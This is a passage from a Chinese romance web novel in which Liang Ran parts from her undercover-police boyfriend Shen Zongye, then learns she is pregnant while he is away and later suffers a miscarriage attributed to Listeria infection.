「如果我回不来了,你别难过,我不值得你难过,对不起」 梁然一直都没有回复,看着这些冷冰冰的消息。 手机黑屏了她就马上按亮,不停地滑着这些文字。 直到沈宗野的名字下显示“对方正在输入”,她紧紧地盯着对话框。 沈宗野:「然然,你是个好优秀的女生,忙工作的时候别太晚了,周末和嘉嘉去户外走走,起风的时候戴一顶帽子吧,你戴帽子真好看。如果头疼了记得吃药,如果做恶梦了就把灯打开,不会再有人伤害你了,不要去害怕,勇敢一点面对害怕,我知道你可以,你一直都比我以为的要勇敢(′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)。 梁然,祝你幸福。」 眼泪滴落在手机屏幕上,梁然狠狠将手机扔掉。 她回到盥洗室,让热水浇走身体里的冷。 天还没有完全黑,但城市的灯火灿烂又炫目,她躺到床上,侧身望着窗外的灯,身处在漆黑的卧室里。 葡萄跳到床上蹭她,梁然僵硬地将小胖猫抱到臂弯里,侧过身,闻到的却是沈宗野身上干净的皂香。 真丝枕巾上浸出一团湿润。 这个夜晚过得太漫长,漫长到梁然以为时间已经过了一天一夜,可手表上才是夜里十点。 她拉上了窗帘,房间陷入彻底的黑暗里。 她闭上眼睛,想清空一切,重新回到没有这段关系以前的冷静,可惜睫毛始终都关不住那些眼泪。 零点了,是新的一天了。 梁然怔怔地望着手表,忽然坐起身,终于还是不顾一切冲出了房间。 她匆忙地在保险柜里找东西,匆忙地披上大衣。她不顾地滑,险些扑倒,冲进了电梯。踩着油门穿进黑夜,将车开到沈宗野家楼下。 她冲到他的房门外,狠狠拍响了房门,才想起来她有密码。 她的手指慌张而颤抖,不停按错了密码,直到房门被沈宗野打开。 眼泪夺眶而出,梁然紧紧扑向他,狠狠地抱他。 第112章 第112章我不要你成为英雄,你…… 梁然的出现对沈宗野来说完全是意外的,沈宗野不顾一切将梁然抱紧。 “沈宗野,你带我一起去吧。”梁然埋在他胸膛,眼泪打湿了沈宗野的衬衫,他还穿着白天那件衬衫,衬衫上全都是褶皱。 “你在说什么!”沈宗野猛地拒绝了这句话。 “我陪你去。” “别说傻话,我绝不会让你去。” “那你答应我要活着回来。”沉默一息,梁然抬起头,眼泪顺着白皙的脸颊滑落。 沈宗野眼眸震颤,瞳仁猛烈地收紧,他抱住梁然,埋在她头发里,逼回了双眸里的滚烫。 “梁然,我不敢让你等我……” “我不管,我要你好好地回来,你要陪我搬进我们的新家。”梁然流着眼泪,“你招惹了我,就要招惹到底。” 沈宗野收紧了手臂,狠狠亲吻梁然的唇。 梁然仰起脸,热烈地吻他。 “梁然,我答应你一定会回来。” 梁然紧紧埋在沈宗野的胸膛,听着他猛烈而滚烫的心跳。 她不想让天亮,她想让这场夜晚一直持续,持续到宇宙毁灭的那一刻,她忽然后悔她过来得太晚了。 他们珍惜着短暂的时间,做着最亲密的事。 他们扣紧十指,把爱意给到极致。 沈宗野拉开床头抽屉,忽然才发觉之前买的安全套已经用完了。 他停下了动作,要起身:“我下楼……” “例假才走,是安全期。”梁然扣住他手指。 她舍不得分别。 她好像浪费掉了太多的时间,从前她觉得这段关系只有她说结束才会停止。她以为只要她不喊停,沈宗野可以一直陪着她。 屋子里还没有开灯,沈宗野打开床头台灯,水晶灯罩折射的光映在墙上,像剪碎的星。 他眼眸紧落在她脸上:“我要看着你。” 梁然也想记住他的样子,记住他眸底炽热的潮。 她握住那根残疾的拇指,亲吻拇指上丑陋的断面,含咬到嘴里。 眼泪顺着她眼角流淌,她的世界里只有光与沈宗野。 灯与影永不停歇,夜色和他们到了极致。 直到窗外透进一缕微光,六点钟的朝霞染红了云团,金光破云撒落万丈。 梁然抱紧沈宗野,她不想开口说道别,直到沈宗野说:“没关系,你睡觉吧,我十点再走。” “真的吗?” “真的。” “那我不想睡觉。” 沈宗野擦掉她眼角的湿润,像他们在南城重逢的第一次那样,国王向他的夜莺垂下头颅。 梁然想起了他们看过的那片海,夕阳坠落在海岸,起伏的浪潮上一层接一层的晚霞荡漾,蔓延的海域尽头升起星辰。 时间总是在人最需要的时候走得最快。 腕表的指针跳到了十点。 梁然抱紧沈宗野。 沈宗野吻了吻她头发。 “梁然,跟我在一起的这些时间你快乐吗?” “我,很快乐。” “那就好。” 沈宗野松开她,背过身,去穿衣服,一身漆黑的夹克,黑到看不出世界的彩色,黑到即便沾到了眼泪,也瞬间浸入硬挺的面料里,隐去痕迹。 沈宗野回过头,对梁然微弯薄唇,脸上只有浮起的笑。 也看不到眼中有过泪水痕迹。 他的眼眸里只有恣意的冷,像宁城那样,他们防备彼此,各自扮演着虚假的时候。 他说:“怎么样,跟以前没差别吧,徐川看不出来吧?” 梁然也轻轻挑起眉:“坏得很,像个暴徒。” “那就好。” 沈宗野起身:“我走了,你今天还上班吗?” “要上班吧,毕竟我很热爱工作。” 沈宗野点了点头,轻轻笑起。 他们像在每一个寻常的日子,说着最寻常的话。 “这个给你。”梁然递给沈宗野一支钢笔。 是一支精致的银白色派克笔,壳子上有Forever的英文刻字。 “这是陈沥周送给我的,希望对你有帮助。” 梁然走到沈宗野身前,目光像从前那样清冷平静,她想分别的时候留下她好看的一面,她笑着拿出她一直藏在保险柜的宝贝。 她的平安符。 “这是我妈妈以前给我请的,很灵验的。” 黑色皮绳上挂着一块桃木雕刻的平安符,看起来朴素得完全不值钱的样子,但对梁然来说它格外珍贵。 沈宗野说不要。 梁然无奈笑了笑:“我妈妈走后我就觉得没资格再戴了,但我觉得它很珍贵,我想把它给你。小时候我经常感冒生病,有了这个平安符后还真不感冒了,所以我觉得它会有用。你戴上它,我才会安心。” 沈宗野喉结微动,最终还是任梁然将平安符戴在了他脖子上。 “如果想我的时候就看着它吧,看着它就是看见了我。” “好。” 梁然环住沈宗野的腰,靠在他胸膛里:“你是不是喜欢我穿蓝色的裙子?” “喜欢。” “那我们做个约定吧,等你回来那天我穿蓝色的裙子去接你。” 沈宗野笑:“如果是冬季呢?” “要这么久吗?”梁然有些失落,语气还是装作很轻快,“那我到时候也穿蓝色的裙子。” “好。”沈宗野将头埋在梁然的头发里,好久之后,他沉闷的嗓音才终于低低响起,暗哑,紧涩,“梁然,我要走了。” “嗯。” 梁然松开了手臂。 沈宗野转过身朝门外走去。 他关上了房门。 梁然听着这道声音,压抑的不舍终于还是控制不住,她浑身颤抖,眼泪夺眶涌出。 她打开房门追了出去,冲出电梯时,沈宗野竟在楼下大厅里。 四目相对,他无奈地笑了。 他张开手臂,梁然扑到他怀里。 “沈宗野,你答应我的要好好地回来,你不要逞强,你学着何哥,遇到不好的就溜,你像何哥为陈慧考虑那样,为我考虑一下,就这一次就好。” “沈宗野,我已经没有妈妈了,没有爸爸了,我不能再失去你!” 门外阳光炽热,无数的光涌落进来,彻底照亮梁然的心。 那些她以为只停留在浅薄的关系上就会很完美的感情,终于在沈宗野真诚又炽热的爱意里被他穿针引线,缝进她平静无波的光阴,在心脏筑起漂亮的堡垒。 “沈宗野,我不要你成为英雄,你要活着回来。” 泪珠顺着沈宗野挺拔的鼻梁滚落进梁然的头发里。 他说:“好,我答应你。” 沈宗野走了。 修长卓立的身躯穿进门外的光里,只余下梁然眼底一个漆黑的、渐远渐无踪的影子。 梁然没有再去上班。 她一向是个把事业看得那么重要的人,今天,她破天荒关了手机。 她留在沈宗野的房子里,床单、地板、沙发……四处凌乱。她收拾着残局,她打开沈宗野上过锁的抽屉,他的情侣戒指、沉香手串,她买的昂贵的手表,都被他妥善存放在这里。 她打开他的书房,去看他的勋章,警徽,奖杯。 她从前很少关注沈宗野的这些东西,她才发现他拿了这么多二等功,这么多奖章。 但是沈宗野的家里没有一张照片,梁然很想看到他的照片,她又打开了手机,翻着相册里他们在一起时拍的照片。 梁然才发现,原来她竟拍过沈宗野好多回。 他们坐在沙发上一起看电影时,落地窗外下着雨,他们互相靠在一起,她总是时不时拿起手机回复一下工作群里的消息,然后心血来潮点开相机拍下他们的自拍。 沈宗野有些慵懒地垂着眼眸看镜头,在发现她笑起来时勾起了薄唇。 还有沈宗野照顾葡萄时,梁然在旁边拍下他和葡萄的照片,小白猫懒洋洋地躺在地毯上晒着肚皮,沈宗野侧脸浴着光,薄唇带起淡笑。 还有她感冒吊水那次,沈宗野给她办理了VIP病房,小小的感冒他居然格外上心,凌晨太累了时才靠坐在沙发里睡着了。梁然醒过来,笑着拍下这张照片。 这些实况照片都有声音,梁然点开,听到她和沈宗野的笑谈,葡萄喵喵的叫声,和窗外的风声、雨声。 为什么从前只觉得拍这些照片都是随手的想法。 为什么她那些时候从来没有意识到她很在意沈宗野。 …… 这一天的时间过得好漫长。 天黑透时,梁然才回到家里。 她刚打开房门,乔思嘉就冲了出来。 乔思嘉说:“怎么了,怎么今天没去上班,手机还关机?” 季阿姨也还在家里没有下班,担忧地看着梁然。 梁然说:“和他在一起,手机关机了。” 她告诉季阿姨可以下班了。 “沈先生给你点了外卖过来,中午就送到的。”季阿姨下班前说。 梁然微怔,去看那些外卖。 有一束粉色玫瑰,给葡萄买的零食,还有梁悦之前惦记的盲盒。 还有她的雪梨无花果糖水,但热饮已经变凉了。梁然打开盖子喝了一口,雪梨水还是淡淡的清甜,味道没有变。她又翻着一个密封纸袋里的东西,有避孕药,和几种体外体内的玩具。 乔思嘉凑过来,震惊了:“沈淮宗给你买玩具做什么,我的妈呀,你俩玩这么花?!” 梁然轻轻抿起红唇,将东西都收起来。 乔思嘉说:“避孕药怎么回事呀,你们没措施吗?” “嗯。” “沈淮宗这个行为要检讨一下吧,哪有让你吃药的,多伤身体!” “没事,我不吃了。我月经不准,例假也刚走。” 梁然说得很平静,把葡萄的零食拆开,葡萄很喜欢,小爪爪按着乖乖地啃。 “然然,今天是不是发生什么事了?” 梁然说:“他去卧底了。” 乔思嘉怔住:“跟以前不一样吗,很危险的案子?” “嗯。” 乔思嘉抱了抱梁然。 梁然也抱着乔思嘉,轻轻笑起:“你不用担心我。” “你眼睛都哭红了,还叫我不要担心你。然然,你老实告诉我,你是不是陷进去了啊?” “应该是吧。”梁然说,“但是他答应了我会回来。” 乔思嘉轻轻拍着梁然的肩膀:“那就好,我和江凛都很相信沈淮宗的,你也要放平心态,相信他能完成任务!” 梁然轻轻说,我相信。 乔思嘉今晚留在了梁然这里。 她们睡在一张床上,乔思嘉说想听梁然聊沈宗野。 梁然沉默了很久,看着窗外的月光:“我不知道他现在到哪儿。” 乔思嘉后悔聊这个话题了,就说起了江凛。她说自从梁然生日那次她给江凛制定了一个恋爱条约后,江凛对她很是小心,简直快被她训成一只小奶狗了,失去了最开始高冷的模样。她话里话外的嫌弃,说着江凛的糗事,逗梁然开心。 梁然笑了起来。 所有的难过都被她藏好,她和乔思嘉笑,回应乔思嘉的话。第二天回到工作里,一切如常地忙碌,生活照旧正常地运转。 只是每一天下班的时候,她的车上都会多出一支粉色玫瑰。 娇俏的粉玫瑰包装得很精致,有时候是放在她车门把手中,有时候是放在她挡风玻璃上。 下班的时候有员工看到,还会笑着讨论这个送花的追求者胆子有些小啊,送花都不敢送到办公室。 梁然知道是沈宗野送的,她和他说过她喜欢粉色的玫瑰。 这个春节在看似热闹的气氛里来临。 怀城的老宅很是热闹。 傍晚,梁悦去湖边点燃烟花,梁然带着葡萄,在草坪上捂着耳朵看。 梁悦又点燃了几只仙女棒分给梁然:“姐,新年快乐!” 梁然笑:“新年快乐!” “姐,你给哥哥打个电话吧?” “他在工作接不了电话。” 梁悦说了句“好可惜”,又去点燃水母。 梁然看着夜空里的烟花说:“沈宗野,新年快乐!” 烟花绚丽的光熄灭又升起,火光照亮梁然蓝色的裙摆。 …… 春节结束后,梁然从怀城回到南城,约了谢天明吃火锅,还是在之前她和沈宗野一起来过的火锅店。 谢天明问梁然:“嫂子,你最近还好吧?” “我没事,他还好吗?” “挺顺利。” 梁然说:“只有王局能联系到他吗?” “是啊。”谢天明笑,“嫂子,你别担心,沈哥是很有经验的警察,他一向都能平安,这次也会平安回来。” 梁然点了点头。 火锅的红汤滚滚沸腾,梁然涮了一条笋尖,细嚼慢咽。 “嫂子,你不是吃不了红汤吗。”谢天明忙把果汁递给梁然。 梁然之前跟沈宗野和谢天明一起吃火锅时,沈宗野涮着笋尖吃的就是红汤。 走出火锅店时,梁然还是忍不住又问了一遍:“下次能不能告诉王局,让沈宗野和我通个电话?” “嫂子,我尽量试一试吧。” “谢谢你了,小谢。” 梁然开车穿行进车流里,四周不断变换着疾驰而过的汽车,不断变换着城市高楼大厦,璀璨灯火。所有景象都在变换,一复一日,不变的是梁然蓝色的裙摆。 她穿着款式不同的蓝色裙子,有时候是连衣裙,外面套着挺括的灰蓝色大衣。有时候是A字短裙,外套穿着藏蓝色西装,有时候是长到小腿的紧身裙。每一条裙子都是色彩不一的蓝色。 梁然每一天都正常地埋在工作里,下班的时候,她的车上永远有一支粉色的玫瑰在等她。 她还是像以前那样,在起风的时候将车停在顾欣的糖水铺,去点一杯温热的雪梨无花果糖水。 可是这天,顾欣说她的店铺不打算再营业了。 梁然有些怔住:“你不是开得好好的吗,是资金链的问题吗?” “不是。”顾欣微微一笑,“我个人生活的原因,我想去完成学业,也许会换一个城市吧。” 灯光下,顾欣白皙精致的脸浮起明媚的神色,她说:“你男朋友知道你喜欢这款糖水,上个月还想为你充值五万,我说我可能不做了之后,他就拜托我有时间再做这款糖水的话为你带一杯。他对你很好呢。” 梁然不知道这件事,甚至她会员卡里的余额也是在前段时间才留意到多了很多,她才知道是沈宗野帮她充值过。 梁然说:“你不用这么麻烦,别放在心上。” 顾欣不开店了,梁然还是很遗憾。她知道顾欣住在她的楼下,身边出入的是一名年轻有为的富豪。顾欣有她自己的故事,梁然忽然很想和她聊聊是因为感情吗?可她还是没有开口询问,只是笑了笑说:“你做这些糖水和燕窝我都很喜欢,你很用心,生活会回报你的。” “谢谢,你也一样。” 这是梁然喝到的最后一杯雪梨无花果糖水。 她握在掌心,滚烫的温度像沈宗野身体的温度,等他回来她也还是会有这样的雪梨水喝,因为沈宗野会帮她亲手做。她知道他的。 想到这里,梁然望着这杯雪梨水,望着落地窗外明媚的夜色,忍不住轻轻弯起唇。 …… 时间过得漫长,冬季凝固了春天,凝固了气温,也仿佛凝固了明媚的晴天,南城的三月又开始像他们遇见的那个天气一样,不休不止下起了雨。 工作室最近接到一个韩国的项目,乔思嘉看出梁然不想离开,就带队去了国外,让梁然留在国内。一方面是梁然资源比乔思嘉丰富,另一方面是希望梁然能在南城等到沈宗野。 梁然的工作忙碌起来。 倒是葡萄这只小猫没有受到丝毫影响。 它最近总是顽皮,好像是为了逗梁然开心,不知道从哪里抓来了一只金鱼,叼到梁然办公桌上。 “喵~”葡萄放下这只金鱼,昂起小脑袋瞅她。 梁然受惊不小,连忙把已经不动了的金鱼用纸巾包走。 她对葡萄又恼又无奈:“下次不许乱抓金鱼了,听到了吗?” 葡萄是很乖的一只猫,听得懂主人的语气,知道能做和不能做的意思。小胖猫垂下了毛绒绒的脑袋,不高兴地溜出了她的书房。 梁然叫来做午饭的季阿姨:“葡萄今天去楼下玩了吗?” “是啊,早上带她去喷泉那边玩了会儿。” 梁然将纸巾里那只无辜的金鱼交给季阿姨,季阿姨连忙说她大意了,都没看到小猫叼着东西回来,忙不好意思地拿去处理。 等梁然吃过午饭,季阿姨向梁然请了假。她老家的父亲生病了,季阿姨得回老家一趟。 梁然点了点头,给季阿姨拿了五万块钱。 季阿姨很感激,担心她:“这段时间你再叫个阿姨吧,我怎么也得半个月才回来,实在不好意思然然,沈先生不在,本来我很想陪你的。” “没关系。你先去忙吧,需要帮助再告诉我。” 季阿姨很感动,叮嘱梁然:“我做了一些菜在冷冻室,其实可以直接热了吃的,还是有营养的。还有沈先生上个月点的牛排我也放进冰箱里了,你想吃可以叫新来的阿姨给你煎。” 梁然微怔:“他买了牛排?” “是啊,我怕化了就先放进了冰箱,忘了告诉你。” 梁然在冰箱里看到,是她很早很早之前在何谨峰家里说好吃的那份牛排。 沈宗野还做了什么是她不知道的? 他现在在宁城,还是在国内哪里,还是泰国? 他还好吗? 梁然没有再请临时的阿姨。 她学着沈宗野以前站在厨房里忙碌的样子,认真煎着牛排。 她打开手机录下了视频,对着镜头抿起唇:“嗨,沈宗野,我都学会煎牛排了。” “等你回来我煎给你吃。” 梁然发现,她自己照顾自己真的没什么问题。 家里的卫生她让钟点阿姨隔天来做,每天打开扫地机器人就能保持地板的干净,不会被葡萄糟蹋得不成样。 葡萄她也可以照顾得很好,每天抱到公司里,员工都很喜欢它。 只是晚上下班时,梁然抱着葡萄回到家,葡萄又从嘴巴里吐出个东西眼巴巴地给她,好像很希望她欣喜地收下。 这次把梁然吓坏了,葡萄叼的居然是一只大蟑螂! 梁然几乎吓得尖叫,打了管家的电话叫物业上来清理。 家里住不下去了,她今晚去沈宗野那里凑合一晚。 屋子里倒是很干净。 她每周都会叫钟点工来沈宗野家里做清洁。 葡萄在这里兴奋地蹦跶,梁然板着脸,很凶地训它:“葡萄,你再不乖我要生气了,我生气就扣你零食!听到了吗,下次不许再从外面捉这些东西了。” 梁然为这事咨询起宠物医生,担心小猫是不是犯病了,有了寄生虫。 医生的建议是让猫咪做一个身体检查。 放下手机,梁然望着熟悉的卧室,她打开衣柜,看着沈宗野穿过的那些衣服。 淡淡的皂香萦绕在她呼吸间,她抱着葡萄躺到床上,为什么连换过的床单被罩都会有沈宗野身上的味道。 她没有办法在这股气息里一次次抓空还能平静下去,她坐起身,望着空荡的枕头,终于还是抱着猫回到了她自己的家里。 管家已经将房子彻底做了消杀,有一些消毒水和香薰混合的气味,梁然闻着有些不舒服,开窗透着风。 第二天,她让助理菲菲带葡萄去宠物医院做个检查。 菲菲回来说葡萄身上很干净,身体里也没有寄生虫,医生说可能是春天快来了,小猫对外面的事物有了新鲜感和探知,才乱七八糟地捉东西回来。 葡萄消停了一天,因为梁然周末都在家里,没有带它出去玩。 周一她又带着葡萄去上班,下班回到家,好好的猫又不知道在哪里叼了一只小老鼠给她。 梁然:“!!!” “葡萄!啊!我生气了。”梁然说,“我真的生气了,你再这样我把你的猫粮都没收了!” 葡萄:“喵~” “喵喵!” 梁然:“你是不是觉得没了沈宗野我很无聊,故意找这些事情来逗我?” “喵喵喵!” 小猫昂起毛乎乎的脑袋,蓝色的眼睛漂亮纯净,小爪爪还推了推老鼠,那神态好像在说“你快吃吧”。 梁然又气又无奈。 她没办法了,等管家又把家里消杀了一遍,她坐在沙发上,在网上搜索葡萄这种奇怪的行为。找不到答案,她又点开某薯app,她之前就是在这上面找到了陈沥周妈妈的信息,她把这个软件当作搜索引擎来用,发了个笔记问小猫的这种情况是什么原因,难道是需要伴侣或者玩伴吗? 发完后,梁然放下手机,很凶地警告猫咪不许再作妖后去盥洗室里洗了澡。 她的睡裙也是极浅的蓝色,像干净的海水。 她系上蓝色睡袍,薄薄的面料服帖在她起伏有致的腰臀曲线上。坐进沙发,梁然拿起手机,打开刚才的软件。 没想到她仅仅只是发了这一条笔记,评论和点赞竟已经有99+了。 momo:「雾草,好漂亮的猫!」 红薯239:「好可爱的小公主,狂吸狂吸!」 她们全在夸葡萄的颜值。 系统让勾选照片时,梁然随手放了两张葡萄穿着小裙子卖萌的照片。 网友说这么漂亮的猫犯点小错当然要原谅它。 梁然抿了抿唇,再退出时新消息又是99+,她又点进去,被新的评论怔住。 linnnn:「姐妹你是不是怀孕了?我怀孕的时候我家猫就是老给我捉老鼠捉蟑螂,哭笑不得。」 Kaze火腿:「对,我怀孕的时候早上起来,我家猫把我养的鹦鹉抓到我床上让我吃!!」 红薯65F7:「我家猫咪也这样,我怀孕的时候给我抓老鼠……听说是因为动物的嗅觉比较灵敏,会闻到你有小宝宝了,动物天性吧,就捉东西给你补身体。」 按着屏幕的手指已经在颤抖。 梁然退出评论区,打开网页的搜索栏,但是她要搜索什么呢,她去药店比搜索更正确。 她忽然嘲笑她这一刻的激动,她一向都是一个无比冷静的人。 她很快下单了验孕试纸,拿到时,她走进卫生间,停下看了眼镜子。 镜子里的人双眼明媚,好像听不到窗外的风雨声,目之所及是雨幕中暖色的灯影。 她用试纸验完,观测区出现两条鲜艳的红杠。明晃晃,灼着眼。 第113章 第113章她怀孕了 她怀孕了。 她和沈宗野的宝宝。 梁然怔了好久,直到眼泪滚到脸颊,她慌忙地擦掉,望着手上的验孕笔笑了起来。 这是不是老天给她的礼物,给她的补偿? 她想要这个宝宝。 她想留下她和沈宗野的孩子。 医院的VIP门诊室。 梁然测完血,做完了B超。 医生说胎儿已经有7周了,胎心清晰有力,发育良好。 医生看着梁然个人信息未婚那一栏,询问她要不要留下。 梁然忘了回答,还沉寂毫无预兆的喜悦里,她桃花眼里明媚的光落在窗外极远的雨幕。直到医生又重复询问了她一遍。 “大夫,我,我工作原因最近喝了酒,我每天晚上都熬夜……” “那你是不想要的意思?” “不是,我要!”梁然有些焦急,语言都有些错乱,她失笑,“不好意思,我是想问我饮酒和熬夜对宝宝有影响吗?” “结合检查来看宝宝很健康,hcg值非常高,你又说你平时月经不规律,推测来看目前是6-7周,发育这么好是个很优质的胚胎。” 梁然笑了起来。 回到家,葡萄冲梁然喵喵叫,把嘴里它自己的小鱼干叼给梁然。 梁然蹲下揉揉葡萄的脑袋,弯起红唇。 葡萄探出可爱的爪爪,把小鱼干往她面前推了推。 梁然漾起笑:“葡萄,我不吃你的小鱼干,你吃吧。我知道你的提醒了,谢谢你。” “以后我们的家就多了一个小baby,我会像爱你这样爱她,我希望她像你一样是个漂亮的姑娘。” 三月底的南城,窗外的雨停了,空气起弥漫着浓稠湿润的雾气,远处高楼一半都隐在浓雾之下,从落地窗外望去,她好像站在一片仙境。 梁然红唇边一直漾着笑,走进书房找到她之前给沈宗野画的那副画。 深蓝色的夜晚,高楼栏杆上搭着一双指骨修长、线条匀净漂亮的手。手背上青色的筋络像花藤蔓延至上,停在腕骨处那串沉香翡翠旁,被冰蓝的珠子遮掩。 梁然抚摸着画上残疾的拇指,抚摸他断口处的痂与茧。 第二天,她将这幅画送去装裱,挂在了卧室墙上。 日子照常忙碌,除了揣着一份巨大的喜悦外,梁然一切照旧,会穿高跟鞋,会去甲方的工地,会自己开车,会自己煎牛排。肚子里的小宝宝好像格外乖巧,医生问她有没有孕吐的状态,梁然说除了会睡午觉外,她没感觉到有什么早孕反应。医生夸奖这是一个和她很契合的宝宝,男方的基因跟她匹配度很高。 梁然很想把这个好消息告诉给乔思嘉。 这天打电话的时候,乔思嘉在抱怨韩国甲方的难搞,说了一大堆数据被推翻的吐槽,梁然等乔思嘉发泄完,才说:“那听个好消息吧。” “我有宝宝了。” “你说什么?”乔思嘉通话的声音有些卡顿,嘴里的吐槽变成村庄、别墅等字句,梁然和她都没再听到各自完整的话。 乔思嘉在郊区,信号时常跟不上,梁然也知道。 她的喜悦似乎无处分享,她想把这个好消息告诉给谢天明,让他转告给沈宗野,可又很担心沈宗野,不确定这个消息对于沈宗野是好还是过犹不及的压力。 可她藏不住这份欢喜呀。 她还是决定拨给谢天明,但谢天明的手机提示关机,梁然才想起来他上周在微信上告诉她他也要去办个案子。 梁然抿了抿唇,有些笑话她自己,她怎么能有这么强烈的倾诉欲呢? 她想起了之前那个软件,打开了某薯。 很久没有登陆,新消息竟然依旧是99+,梁然点进去,才发现她这篇笔记已经有1万+的点赞量了,两千多条评论。 她翻着新的评论,是网友都在蹲她到底是不是怀孕,还有一半的评论都是夸葡萄漂亮精致,能不能多更新点葡萄的笔记。 梁然笑着回复点赞最高的那条评论。 kaze火腿:「姐妹,测了吗,是不是怀孕啦?」 梁然编辑着文字。 L:「是怀孕,现在9-10w了,医生说宝宝发育得很好,当时谢谢你们。亲亲.jpg」 回复完后,梁然忙起工作,回到家吃晚饭时打开软件,又收到99+的评论。 网友都在「踢」。 有人在恭喜她。 有人说看她楼外的窗景像是住在某顶奢楼盘。 有人说她起号引流,猫咪是不是存的网图,营造有钱人设。 还有人想多看看葡萄的照片。 搁平时,梁然不会对网上的声音有任何回应,更不可能发帖。 但她这会儿倒来了兴致,逐条回复。 L:「谢谢祝福」 L:「有钱人设还需要营销吗,我在羊水里就有钱了,我的宝宝现在也是A9起步」 L:「那就发点猫咪的照片吧」 …… 她在评论区里发了葡萄的好几张照片,又特意找出沈宗野买给她的那枚钻戒戴在无名指上。白皙纤长的手指揉着葡萄毛绒绒的脑袋,灯光下,钻石折射起漂亮的火彩。 她的回复下面又像洪水一样涌进新评论。 「人生赢家,呜好羡慕!!」 「猫猫太可爱了,狂吸狂吸!」 「姐姐说话好有实力哈哈哈,怼得我乳腺通畅」 梁然弯起唇刷着这些留言,质疑的声音变少了,更多的都是网友在祝福她。 她唯独停在一条评论下面,回复了这条评论。 tina:「姐姐的宝宝已经有a9实力了,那姐夫不得a10往上?」 梁然:「在我眼里,他胜过所有人」 …… 周末这天,梁然在医院又做了一次检查。 医生说宝宝发育得很健康,看起来已经有12周了。 从医院离开时,南城的四月绿树成荫,医院拐角的街道开满木棉花,长街一片嫣红,阳光从花枝里漏下,梁然开车穿进这条花道。 她唇角翘起,眉眼明媚,在想沈宗野回来时宝宝是几个月,他会有多高兴? 手机有铃声响,是助理的电话,梁然才想起来刚才有个客户临时约她,项目很急,她原本定在了下午,对方现在已经在饭店了,问她方不方便过去。 梁然和助理说有时间,调转了方向赶到饭店。 虽然是临时的约,对方坦诚,梁然也聊得愉快。只是因为客户身上浓烈的香水味,她有些不舒服,没有吃饭店里的食物,在客户热情的委托下以水代酒敲定了合作。 回到家,梁然竟接到孟曦的电话。 如今因为陈沥周和案子的关系,梁然已经用另一部私人手机打开了录音功能。 “梁总,近来可好?”孟曦礼貌地问。 梁然:“我很好,孟特助有什么事情?” “还是陈总以前交代送您的新年礼物,是一幅国外回流的名画,到国内的时间没有赶上春节,我才冒昧打扰您。” 像上次那样,孟曦在按陈沥周以前的交代,送给她生日礼物新年礼物。 时间竟然已经这么久远,和陈沥周的聊天已经是去年,对梁然而言,陈沥周的礼物真的没有必要送。 她说着婉拒的话。 孟曦说画已经寄来了,物流已经在派送,只是今天是周末,不确定梁然的公司有没有人接收。 她问梁然在不在家,不如让物流送到家里来。 梁然没再拒绝,就让物流直接送到公司,结束了通话。 毕竟是从医院回来,她洗完一个澡,换上舒服的蓝色居家服,从包里拿出这次的产检报告,轻轻翘起唇角,和上一次的放在一起。 她想等沈宗野回来时如果她还没有显怀,那她就把这些报告当成他归来的礼物,等他拆开礼物盒子一定会很惊喜吧。 今天虽然是周末,但梁然也想再处理些工作,坐进了书房里。她一直忙到傍晚,精力还很充沛,这个宝宝格外的乖巧,还没有让她感觉有什么不适。 闲下来,她打开了某薯app,依旧还能收到很多陌生的善意。 乔思嘉忙到焦头烂额,没有人和她一起分享有宝宝的喜悦,这些网上陌生的祝福对她而言是很珍贵的陪伴。 她想沈宗野。 她控制不住这份想念,最开始那几天会做噩梦,直到知道有了宝宝她才没有再做过噩梦。 她每天都说服自己保持愉悦的心情,说服自己正常地忙碌就好,像以前那样忙着工作,也许在她抬头时,或者是下班时,她就会看见沈宗野挺拔英俊的身影。 她时刻都保持着平静,只有在夜深人静,她才会抑制不住心底痛涩的想念。这份疼好像撞破了肋骨,牵扯心区难抑的跳动。 只是今晚似乎有些不舒服。 梁然坐起身,小肚子有些隐痛。 她一点犹豫也没有,深夜里,直接开车到了医院。 她冷静地描述着不适。 白天才为她做完检查的私人医生用玩笑的口吻说她是太过担心,孕妇就要有好的心态,不要过度紧张焦虑。 但是当医生的仪器用力压在她小腹时,微愣片刻,继而用了更沉的力量。 “有些疼……”梁然蹙眉忍着。 医生脸上的笑顿时消失了。 “你今天吃了什么跟平时不一样的东西吗?” “许大夫,什么情况,宝宝不舒服吗?我今天的饮食跟平时是一样的,没有哪里不同。”梁然有些紧张,腹部的隐痛越来越沉,她心脏也越跳越快。 “宝宝已经听不到胎心了。宝宝没有胎心了。” 医生一句话宣布了胎儿的死刑,不,是梁然的。 她愣了好久,嘴唇颤动:“不可能,她中午还好好的!” “已经没有胎心了,别激动啊,听我说,从医学角度来说宝宝已经被淘汰了,做个药流吧。你还年轻……” “您说过我的宝宝基因很好,她发育得很健康!”梁然激动地打断。 “你才12周,这期间很多因素是说不清楚的,做一个基因检测吧。”中年女医生是梁然高价选择的私人医生,也不忍看到梁然这样,“伤心难免,你还这么年轻,还会有宝宝的。” “不一样的。不一样……”梁然垂下脊背,抱住膝盖流出眼泪。 她的哭泣没有声音,只有压抑的沉闷的呼吸声,像窗外乌黑的云团,压着花坛里茂盛的枝叶。 世界一片漆黑。 梁然不想妥协,又等了一天。 医生说还是听不到胎心,药流吧。 梁然紧紧抓着床单,药物引起的疼让她感觉到了宝宝的流逝,离开。 眼泪涌过梁然满眼的血丝。 她花了昂贵的价钱选了最好的私人医院,VIP病房里有护工、护士轮流妥帖地照顾她,对她嘘寒问暖,在她脚边放着滚烫的热水袋。 但是她浑身还是感觉到冷,像冰锥嵌进了她身体里。 她不知道为什么会这样。 明明她的宝宝好好的,是因为她的原因吗? 是她没有保护好她和沈宗野的宝宝吗。 护工守在病房里。 梁然说:“阿姨,你先出去吧。” 这是她从凌晨到清晨说的第一句话,她的嗓音干涩,低弱得像刚出生的小动物。 护工出了门,但不敢走远,就守在门口的椅子上。 梁然侧过身,望着窗外升起的朝霞。 昨晚她数过的乌云已经隐入了霞光后,一层橙色一层玫瑰色的朝霞过渡得鲜艳夺目,像一幅画,像沈宗野走的那天楼门外的万丈光。 可她在这片光影里看不到那个一身是黑的影子。 “沈宗野,起风了。” “我想你来看看我。” 第114章 第114章跟踪 胎停的结果出来了。 宝宝的基因没有任何问题,是因为梁然感染了李斯特菌。 梁然好像终于有了力气去追究责任。 